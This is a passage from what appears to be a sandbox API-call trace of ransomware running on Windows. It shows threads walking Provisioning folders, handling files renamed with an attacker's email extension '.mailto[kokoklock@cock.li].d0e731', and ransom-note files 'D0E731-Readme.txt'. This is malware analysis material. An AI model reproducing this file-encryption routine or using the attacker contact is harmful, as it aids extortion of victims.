Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305da70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0175.563] FindNextFileW (in: hFindFile=0x30459e8, lpFindFileData=0x2f99b20 | out: lpFindFileData=0x2f99b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bfe40b0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.563] FindClose (in: hFindFile=0x30459e8 | out: hFindFile=0x30459e8) returned 1 [0175.563] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99b20) returned 1 [0175.563] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056558) returned 1 [0175.563] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056780) returned 1 [0175.564] RtlExitUserThread (Status=0x0) Thread: id = 2326 os_tid = 0xe38 [0174.938] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.939] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.939] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.939] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90640) returned 1 [0174.940] RtlExitUserThread (Status=0x0) Thread: id = 2327 os_tid = 0xe60 [0174.942] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.942] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.942] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.943] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ca08) returned 1 [0174.943] RtlExitUserThread (Status=0x0) Thread: id = 2328 os_tid = 0xe64 [0174.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x3056610 [0174.944] wcscpy (in: _Dest=0x3056610, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" [0174.944] wcscat (in: _Dest=0x3056610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\" [0174.944] wcscat (in: _Dest=0x3056610, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*" [0174.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99d88 [0174.944] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*", lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c030496, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c030496, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045a28 [0174.945] wcscmp (_String1=".", _String2=".") returned 0 [0174.945] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c030496, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c030496, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.945] wcscmp (_String1="..", _String2=".") returned 1 [0174.945] wcscmp (_String1="..", _String2="..") returned 0 [0174.945] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c030496, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c030496, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c030496, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.945] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.945] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.945] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8eb3c825, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8eb3c825, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.945] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.945] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b2c8 [0174.945] wcscpy (in: _Dest=0x4f0b2c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" [0174.945] wcscat (in: _Dest=0x4f0b2c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\" [0174.945] wcscat (in: _Dest=0x4f0b2c8, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0175.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0b2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c [0175.560] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8c030496, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c013, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RUNTIM~1.D0E")) returned 1 [0175.560] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.560] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.560] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305d958 [0175.560] wcscpy (in: _Dest=0x305d958, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov" [0175.560] wcscat (in: _Dest=0x305d958, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\" [0175.560] wcscat (in: _Dest=0x305d958, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0175.561] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x2f99d88 | out: lpFindFileData=0x2f99d88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8c030496, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c013, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="RUNTIM~1.D0E")) returned 0 [0175.561] FindClose (in: hFindFile=0x3045a28 | out: hFindFile=0x3045a28) returned 1 [0175.561] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99d88) returned 1 [0175.561] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056610) returned 1 [0175.561] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056838) returned 1 [0175.561] RtlExitUserThread (Status=0x0) Thread: id = 2329 os_tid = 0xe6c [0174.945] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.946] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.947] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.947] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90528) returned 1 [0174.947] RtlExitUserThread (Status=0x0) Thread: id = 2330 os_tid = 0x380 [0174.948] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.949] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.949] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.949] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.949] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cb20) returned 1 [0174.949] RtlExitUserThread (Status=0x0) Thread: id = 2331 os_tid = 0xc98 [0174.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f84428 [0174.951] wcscpy (in: _Dest=0x2f84428, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" [0174.951] wcscat (in: _Dest=0x2f84428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\" [0174.951] wcscat (in: _Dest=0x2f84428, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*" [0174.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f99ff0 [0174.951] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*", lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0567d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0567d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045a68 [0174.951] wcscmp (_String1=".", _String2=".") returned 0 [0174.951] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c0567d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c0567d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.951] wcscmp (_String1="..", _String2=".") returned 1 [0174.951] wcscmp (_String1="..", _String2="..") returned 0 [0174.951] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c07c869, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c07c869, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c07c869, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.951] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.951] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.951] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c7a3beb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c7a3beb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.951] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.951] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b390 [0174.952] wcscpy (in: _Dest=0x4f0b390, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" [0174.952] wcscat (in: _Dest=0x4f0b390, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\" [0174.952] wcscat (in: _Dest=0x4f0b390, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" [0175.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0b390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988 [0175.535] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c0567d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.535] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.535] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.535] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305d840 [0175.555] wcscpy (in: _Dest=0x305d840, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" [0175.555] wcscat (in: _Dest=0x305d840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\" [0175.555] wcscat (in: _Dest=0x305d840, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0175.558] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x2f99ff0 | out: lpFindFileData=0x2f99ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c0567d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.558] FindClose (in: hFindFile=0x3045a68 | out: hFindFile=0x3045a68) returned 1 [0175.558] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99ff0) returned 1 [0175.558] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84428) returned 1 [0175.558] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30568f0) returned 1 [0175.558] RtlExitUserThread (Status=0x0) Thread: id = 2332 os_tid = 0x1004 [0174.952] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.954] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.954] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.954] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.955] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90410) returned 1 [0174.955] RtlExitUserThread (Status=0x0) Thread: id = 2333 os_tid = 0x1008 [0174.956] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.956] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.956] CreateFileW (lpFileName="C:\\Users\\All 